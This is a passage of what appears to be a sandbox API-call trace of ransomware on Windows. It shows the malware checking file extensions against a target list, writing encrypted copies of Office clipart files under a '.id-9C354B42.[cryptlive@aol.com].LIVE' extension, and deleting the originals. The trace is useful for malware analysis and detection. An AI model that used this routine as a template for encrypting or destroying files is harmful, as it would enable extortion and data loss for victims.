Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0140.953] lstrlenW (lpString=".1cd") returned 4 [0140.953] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0140.953] lstrlenW (lpString=".jpg") returned 4 [0140.953] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0140.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0140.953] lstrlenW (lpString=".doc") returned 4 [0140.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.953] lstrlenW (lpString=".docx") returned 5 [0140.953] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.953] lstrlenW (lpString=".pdf") returned 4 [0140.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.953] lstrlenW (lpString=".xls") returned 4 [0140.953] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.953] lstrlenW (lpString=".xlsx") returned 5 [0140.953] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.953] lstrlenW (lpString=".ppt") returned 4 [0140.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0140.953] lstrlenW (lpString=".zip") returned 4 [0140.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.953] lstrlenW (lpString=".rar") returned 4 [0140.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.953] lstrlenW (lpString=".bz2") returned 4 [0140.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.953] lstrlenW (lpString=".7z") returned 3 [0140.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0140.953] lstrlenW (lpString=".dbf") returned 4 [0140.953] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0140.953] lstrlenW (lpString=".1cd") returned 4 [0140.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 63 [0140.954] lstrlenW (lpString=".jpg") returned 4 [0140.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.954] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.954] lstrlenW (lpString="DD00437_.WMF") returned 12 [0140.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0140.954] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1932) returned 1 [0140.954] CloseHandle (hObject=0x380) returned 1 [0140.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x20 [0140.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0140.955] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.955] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0140.956] GetLastError () returned 0x0 [0140.956] ReadFile (in: hFile=0x380, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x78c, lpOverlapped=0x0) returned 1 [0140.957] WriteFile (in: hFile=0x36c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x790, lpOverlapped=0x0) returned 1 [0140.958] ReadFile (in: hFile=0x380, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0140.958] WriteFile (in: hFile=0x36c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0140.958] SetEndOfFile (hFile=0x36c) returned 1 [0140.958] CloseHandle (hObject=0x36c) returned 1 [0140.959] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.959] SetEndOfFile (hFile=0x380) returned 1 [0140.961] CloseHandle (hObject=0x380) returned 1 [0140.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0140.961] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf")) returned 1 [0140.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0140.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0140.962] lstrlenW (lpString=".doc") returned 4 [0140.962] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.962] lstrlenW (lpString=".docx") returned 5 [0140.962] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.962] lstrlenW (lpString=".pdf") returned 4 [0140.962] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.962] lstrlenW (lpString=".xls") returned 4 [0140.962] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.962] lstrlenW (lpString=".xlsx") returned 5 [0140.962] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.962] lstrlenW (lpString=".ppt") returned 4 [0140.962] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0140.962] lstrlenW (lpString=".zip") returned 4 [0140.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.962] lstrlenW (lpString=".rar") returned 4 [0140.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.962] lstrlenW (lpString=".bz2") returned 4 [0140.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.962] lstrlenW (lpString=".7z") returned 3 [0140.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0140.962] lstrlenW (lpString=".dbf") returned 4 [0140.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0140.963] lstrlenW (lpString=".1cd") returned 4 [0140.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0140.963] lstrlenW (lpString=".jpg") returned 4 [0140.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0140.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0140.963] lstrlenW (lpString=".doc") returned 4 [0140.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.963] lstrlenW (lpString=".docx") returned 5 [0140.963] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0140.963] lstrlenW (lpString=".pdf") returned 4 [0140.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.963] lstrlenW (lpString=".xls") returned 4 [0140.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.963] lstrlenW (lpString=".xlsx") returned 5 [0140.963] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0140.963] lstrlenW (lpString=".ppt") returned 4 [0140.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0140.963] lstrlenW (lpString=".zip") returned 4 [0140.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.963] lstrlenW (lpString=".rar") returned 4 [0140.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.963] lstrlenW (lpString=".bz2") returned 4 [0140.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.963] lstrlenW (lpString=".7z") returned 3 [0140.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0140.963] lstrlenW (lpString=".dbf") returned 4 [0140.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0140.963] lstrlenW (lpString=".1cd") returned 4 [0140.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF") returned 63 [0140.963] lstrlenW (lpString=".jpg") returned 4 [0140.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.964] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0140.964] lstrlenW (lpString="DD00448_.WMF") returned 12 [0140.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0140.965] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2952) returned 1 [0140.965] CloseHandle (hObject=0x380) returned 1 [0140.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x20 [0140.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0140.965] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.965] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0140.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0140.966] GetLastError () returned 0x0 [0140.966] ReadFile (in: hFile=0x380, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xb88, lpOverlapped=0x0) returned 1 [0141.188] WriteFile (in: hFile=0x36c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xb90, lpOverlapped=0x0) returned 1 [0141.189] ReadFile (in: hFile=0x380, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.189] WriteFile (in: hFile=0x36c, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.189] SetEndOfFile (hFile=0x36c) returned 1 [0141.189] CloseHandle (hObject=0x36c) returned 1 [0141.189] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.189] SetEndOfFile (hFile=0x380) returned 1 [0141.192] CloseHandle (hObject=0x380) returned 1 [0141.192] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 1 [0141.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0141.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0141.193] lstrlenW (lpString=".doc") returned 4 [0141.193] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.193] lstrlenW (lpString=".docx") returned 5 [0141.193] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.193] lstrlenW (lpString=".pdf") returned 4 [0141.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.193] lstrlenW (lpString=".xls") returned 4 [0141.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.193] lstrlenW (lpString=".xlsx") returned 5 [0141.193] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.193] lstrlenW (lpString=".ppt") returned 4 [0141.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0141.193] lstrlenW (lpString=".zip") returned 4 [0141.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.193] lstrlenW (lpString=".rar") returned 4 [0141.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.193] lstrlenW (lpString=".bz2") returned 4 [0141.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.193] lstrlenW (lpString=".7z") returned 3 [0141.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0141.193] lstrlenW (lpString=".dbf") returned 4 [0141.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0141.193] lstrlenW (lpString=".1cd") returned 4 [0141.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0141.194] lstrlenW (lpString=".jpg") returned 4 [0141.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0141.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0141.194] lstrlenW (lpString=".doc") returned 4 [0141.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.194] lstrlenW (lpString=".docx") returned 5 [0141.194] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.194] lstrlenW (lpString=".pdf") returned 4 [0141.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.194] lstrlenW (lpString=".xls") returned 4 [0141.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.194] lstrlenW (lpString=".xlsx") returned 5 [0141.194] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.194] lstrlenW (lpString=".ppt") returned 4 [0141.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0141.194] lstrlenW (lpString=".zip") returned 4 [0141.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.194] lstrlenW (lpString=".rar") returned 4 [0141.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.194] lstrlenW (lpString=".bz2") returned 4 [0141.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.194] lstrlenW (lpString=".7z") returned 3 [0141.194] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0141.194] lstrlenW (lpString=".dbf") returned 4 [0141.194] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0141.194] lstrlenW (lpString=".1cd") returned 4 [0141.194] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0141.194] lstrlenW (lpString=".jpg") returned 4 [0141.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.195] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.195] lstrlenW (lpString="DD01140_.WMF") returned 12 [0141.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0141.228] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3616) returned 1 [0141.228] CloseHandle (hObject=0x3a4) returned 1 [0141.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 0x20 [0141.255] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.255] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.255] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0141.255] GetLastError () returned 0x0 [0141.255] ReadFile (in: hFile=0x1ec, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0xe20, lpOverlapped=0x0) returned 1 [0141.367] WriteFile (in: hFile=0x380, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe30, lpOverlapped=0x0) returned 1 [0141.368] ReadFile (in: hFile=0x1ec, lpBuffer=0x3790020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.368] WriteFile (in: hFile=0x380, lpBuffer=0x3790020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3790020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.368] SetEndOfFile (hFile=0x380) returned 1 [0141.368] CloseHandle (hObject=0x380) returned 1 [0141.368] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.368] SetEndOfFile (hFile=0x1ec) returned 1 [0141.370] CloseHandle (hObject=0x1ec) returned 1 [0141.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf")) returned 1 [0141.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0141.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0141.371] lstrlenW (lpString=".doc") returned 4 [0141.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.371] lstrlenW (lpString=".docx") returned 5 [0141.372] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.372] lstrlenW (lpString=".pdf") returned 4 [0141.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.372] lstrlenW (lpString=".xls") returned 4 [0141.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.372] lstrlenW (lpString=".xlsx") returned 5 [0141.372] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.372] lstrlenW (lpString=".ppt") returned 4 [0141.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0141.372] lstrlenW (lpString=".zip") returned 4 [0141.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.372] lstrlenW (lpString=".rar") returned 4 [0141.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.372] lstrlenW (lpString=".bz2") returned 4 [0141.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.372] lstrlenW (lpString=".7z") returned 3 [0141.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0141.372] lstrlenW (lpString=".dbf") returned 4 [0141.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0141.372] lstrlenW (lpString=".1cd") returned 4 [0141.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0141.372] lstrlenW (lpString=".jpg") returned 4 [0141.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0141.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF") returned 63 [0141.372] lstrlenW (lpString=".doc") returned 4 [0141.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 